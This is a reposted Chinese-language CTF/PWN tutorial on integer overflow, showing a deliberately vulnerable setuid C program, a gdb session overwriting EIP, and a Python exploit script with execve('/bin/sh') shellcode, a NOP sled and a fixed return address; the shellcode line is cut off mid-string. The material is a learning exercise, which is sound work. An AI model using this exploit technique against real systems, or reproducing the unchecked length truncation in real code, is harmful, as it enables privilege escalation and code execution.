PWN INTEGER OVERFLOW 整數溢出


 

0x00      Preview 

  Last few passage I didn't conclude some important points and a general direction of the learning route of PWN. I browser some passages and finally I found one maybe suitable and reasonable for most PWN lovers:

 

 

0x01  Integer Overflow —— What's ?

  Storing a value greater than maximun supported value is called integer overflow. 但是呢,這個也僅僅是overflow,不能造成代碼執行(英文真的寫不下去了。。。隨心寫了。。)。

首先我們來看一下C語言的 一些類型的對應的字節大小(摘自CTF WIKI)

short int 2byte(word) 0~32767(0~0x7fff) 
-32768~-1(0x8000~0xffff)
unsigned short int 2byte(word) 0~65535(0~0xffff)
int 4byte(dword) 0~2147483647(0~0x7fffffff) 
-2147483648~-1(0x80000000~0xffffffff)
unsigned int 4byte(dword) 0~4294967295(0~0xffffffff)
long int 8byte(qword) 正: 0~0x7fffffffffffffff 
負: 0x8000000000000000~0xffffffffffffffff
unsigned long int 8byte(qword) 0~0xffffffffffffffff

 

 

之后我將CTF wiki上的總結了一下如下:

 

注意:大的范圍轉給小的范圍的數,會造成截斷,這是內存分布結構所導致的,下面示例中會講到

 

 0x02   How?

這里我先拿某位大神的示例,並說出我的觀點

示例代碼:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void store_passwd_indb(char* passwd) {
}

void validate_uname(char* uname) {
}

void validate_passwd(char* passwd) {
 char passwd_buf[11];
 unsigned char passwd_len = strlen(passwd); /* [1] */ 
 if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */
  printf("Valid Password\n"); /* [3] */ 
  fflush(stdout);
  strcpy(passwd_buf,passwd); /* [4] */
 } else {
  printf("Invalid Password\n"); /* [5] */
  fflush(stdout);
 }
 store_passwd_indb(passwd_buf); /* [6] */
}

int main(int argc, char* argv[]) {
 if(argc!=3) {
  printf("Usage Error:   \n");
  fflush(stdout);
  exit(-1);
 }
 validate_uname(argv[1]);
 validate_passwd(argv[2]);
 return 0;
}

 

 去除保護措施編譯:

$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

我們先來分析一下代碼:

前兩個函數沒什么問題,第三個函數開始:

傳入一個字符串(大小任意)——>定義11大小數組,每個單位為uchar字節(共11*1byte)

——> 獲取密碼長度,但是uchar(256)

——>  通過檢測則復制密碼到數組

——> 不通過則gg

——> 主函數沒什么問題

思考:

第一個漏洞點:uchar 的len,因為長度為256,當大於256就會截斷,如輸入261(‭0001 0000 0101‬),截斷后(后uchar字節的數):5(0101),所以len會變為5

第二個漏洞點:基本的棧溢出,就是復制密碼到數組

結合兩個漏洞點,因為shellcode一般是40多字節(排除任意長度大神),能存儲的地方是buf,passwd,buf長度限制,用來溢出,passwd我們用來存儲shellcode

 步驟:

1、整數溢出過檢測

2、棧溢出執行代碼

0X03 Do the Exp

反編譯程序第三個函數:

 這是我64位的結果,提供借鑒,但是作者的環境是x86,顯示的可能不一樣,我這里引入某大佬的調試過程:

 

Reading symbols from vuln...done.
(gdb) b validate_passwd
Breakpoint 1 at 0x804850d: file vuln.c, line 14.
(gdb) r sploitfun `python -c 'print "A"*261'`
Starting program: /home/jourluohua/work/test2/vuln sploitfun `python -c 'print "A"*261'`

Breakpoint 1, validate_passwd (
    passwd=0xbffff6b6 'A' <repeats 200 times>...) at vuln.c:14
14     unsigned char passwd_len = strlen(passwd); /* [1] */ 
(gdb) n        //單步調試,想看看執行到了我們認為的關鍵的代碼沒有,很明顯這兒還不是關鍵代碼
15     if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */
(gdb) n
16      printf("Valid Password\n"); /* [3] */ 
(gdb) p passwd_len  //這兒是關鍵處了,但是如果是正確的話,passwd_len 應該是'A',很可能是程序還沒真正執行到
$1 = 5 '\005'
(gdb) n
Valid Password
17      fflush(stdout);
(gdb) n
18      strcpy(passwd_buf,passwd); /* [4] */
(gdb) n
23     store_passwd_indb(passwd_buf); /* [6] */
(gdb) p passwd_len    //好終於到了我們想要的地方了
$2 = 65 'A'
(gdb) p &passwd_len   //passwd_len的地址,既然利用的是棧,我們在乎的是內存布局
$3 = (unsigned char *) 0xbffff46f 'A' <repeats 200 times>...
(gdb) p buf        //手誤,沒有任何原因
$4 = 0x0
(gdb) n
24    }
(gdb) p passwd_buf    //passwd_buf的值也對了
$5 = 'A' <repeats 11 times>
(gdb) p &passwd_buf[0]  //passwd_buf的地址也和我們想象的一樣
$6 = 0xbffff464 'A' <repeats 200 times>...
(gdb) p/x $eip      //很明顯還沒有被覆蓋
$7 = 0x8048578
(gdb) p/x $ebp      //這個真的不是在湊字數,ebp的地址很重要
$8 = 0xbffff478
(gdb) n
0x41414141 in ?? ()
(gdb) p/x $eip      //好,已經覆蓋了
$9 = 0x41414141
(gdb) p/x $ebp
$10 = 0x41414141
(gdb)

 

 

 

 

 

 

 嗯,差不多能ret我們輸入的shellcode,沒錯我比較愚笨所以輸入了10次26字母加一個字母

堆棧結構什么的我就直接復制粘貼了:

 

說明一下我個人的觀點:

1、 alignment space,對齊空間,即字節對齊,具體看https://www.cnblogs.com/clover-toeic/p/3853132.html

這里注意的是,char先定義,所以按char來算,就是在buf[8-11]和len之間填4個字節

2、RET 后面跟EBP之前說過,不多說了

 

shellcode:

#exp.py 
#!/usr/bin/env python
import struct
from subprocess import call

arg1 = "sploitfun"

#Stack address where shellcode is copied.
ret_addr = 0xbffff4e0

#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\$

#endianess convertion
def conv(num):
 return struct.pack("<I",num) #chunk + ReturnAdress + NOP's + Shellcode
arg2 = "A" * 24
arg2 += conv(ret_addr);
arg2 += "\x90" * 100
arg2 += scode
arg2 += "C" * 108

print "Calling vulnerable program"
call(["./vuln", arg1, arg2])

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM